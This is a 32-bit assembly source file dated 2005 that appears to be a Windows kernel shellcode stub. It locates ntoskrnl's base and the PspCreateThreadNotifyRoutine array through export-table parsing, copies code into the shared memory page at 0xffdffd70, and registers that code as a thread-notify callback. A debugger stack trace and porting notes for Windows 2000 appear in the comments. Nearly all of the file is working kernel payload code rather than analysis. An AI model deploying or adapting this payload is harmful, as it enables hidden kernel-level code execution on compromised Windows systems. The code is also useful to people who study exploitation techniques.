bits 32

;
; 11/2005
;
; This stub implements the following algorithm:
;
; - Find the base address of ntoskrnl.exe
; - Find PspCreateThreadNotifyRoutine
;   - Via PsRemoveCreateThreadNotifyRoutine (XP, 2003)
;   - Via PsSetCreateThreadNotifyRoutine    (2000)
; - Copy code to 0xffdffd70
; - Install notify routine directly
; - Perform safe cleanup
;
; kd> kv
; ChildEBP RetAddr  Args to Child              
; WARNING: Frame IP not in any known module. Following frames may be wrong.
; fa952c58 805d96ca 0000025c 00000270 00000000 0xffdffd70
; fa952d08 8056bf03 00000000 808db580 00000000 nt!PspExitThread+0xc6 (FPO: [Non-Fpo])
; fa952d28 8056c7bd 808db580 00000000 fa952d64 nt!PspTerminateThreadByPointer+0x50 (FPO: [Non-Fpo])
; fa952d54 804d4e91 00000000 00000000 00000000 nt!NtTerminateProcess+0x116 (FPO: [Non-Fpo])
; fa952d54 7ffe0304 00000000 00000000 00000000 nt!KiSystemService+0xc4 (FPO: [0,0] TrapFrame @ fa952d64)
; 0006fda8 77f7f3cf 77e75ca4 ffffffff 00000000 SharedUserData!SystemCallStub+0x4 (FPO: [0,0,0])
; 0006fdac 77e75ca4 ffffffff 00000000 77c4299a ntdll!ZwTerminateProcess+0xc (FPO: [2,0,0])
; 0006fea4 77e75cc6 00000000 77e8f3b0 ffffffff kernel32!_ExitProcess+0x57 (FPO: [Non-Fpo])
; 0006feb8 77c379c8 00000000 77c37ad9 00000000 kernel32!ExitProcess+0x11 (FPO: [Non-Fpo])
; 0006fec0 77c37ad9 00000000 77e79c3d 77c37aea msvcrt!__crtExitProcess+0x2f (FPO: [1,0,0])
; 0006fecc 77c37aea 00000000 00000000 00000000 msvcrt!_cinit+0xe4 (FPO: [2,0,1])
; 0006fedc 01004b36 00000000 0100e478 00000000 msvcrt!exit+0xe (FPO: [1,0,1])
; 0006fee4 0100e478 00000000 000001be 00000000 net1!MyExit+0xf (FPO: [1,0,0])
; 0006ff18 01004b20 00000000 00000000 02100248 net1!NetcmdExit+0x6f (FPO: [Non-Fpo])
; 0006ff44 0100e0b1 00000000 00000000 002629a0 net1!main+0x266 (FPO: [Non-Fpo])
; 0006ffc0 77e7eb69 03010302 02100248 7ffdf000 net1!mainCRTStartup+0x125 (FPO: [Non-Fpo])
; 0006fff0 00000000 0100df8c 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])
;
;
; This won't work out of the box on windows 2000 because 
; PspCreateThreadNotifyRoutine is an array of function pointers
; instead of an array of callback structure pointers.  Easy
; to fix up though.  Could even make it cross compatible without
; much overhead
;

ShldrThreadNotify:
	mov  eax, [0xffdff12c]

FindNtoskrnlBase:
	dec  eax
	xor  ax, ax
	cmp  word [eax], 0x5a4d
	jnz  FindNtoskrnlBase

CheckOsVersion:
	cmp  byte [0xffdf0270], 0x0
	je   OsVer2000

OsVerXP:
	push byte 0x6
	push byte 0x13
	jmp  short ResolveSymbol

OsVer2000:
	push byte 0x8
	push byte 0x10

ResolveSymbol:    ; ebp = base, esi = names table
	pop  edx
	cld
	xor  ecx, ecx
	xchg eax, ebp
	mov  edi, [ebp + 0x3c]
	mov  edi, [ebp + edi + 0x78]
	add  edi, ebp
	mov  esi, [edi + 0x20]
	add  esi, ebp

FindSymbol:
	lodsd
	inc  ecx
	add  eax, ebp
	cmp  dword [eax+edx], 0x746f4e64 ; dNot
	jnz  FindSymbol

GetSymbolAddress:
	dec  ecx
	mov  ebx, [edi + 0x24]
	add  ebx, ebp
	mov  cx, [ebx + ecx * 2]
	mov  ebx, [edi + 0x1c]
	add  ebx, ebp
	mov  eax, [ebx + ecx * 4]
	add  eax, ebp

FoundSymbol:
	pop  ecx
	mov  eax, dword [eax + ecx]

CopyCode:
	mov  dword [0xffdffd6c], 0xffdffd70
	mov  dword [0xffdffd70], 0xcccccccc

SetNotifyRoutine:
	mov  dword [eax], 0xffdffd6c
	inc  dword [eax+0x20]

Cleanup:
	ret
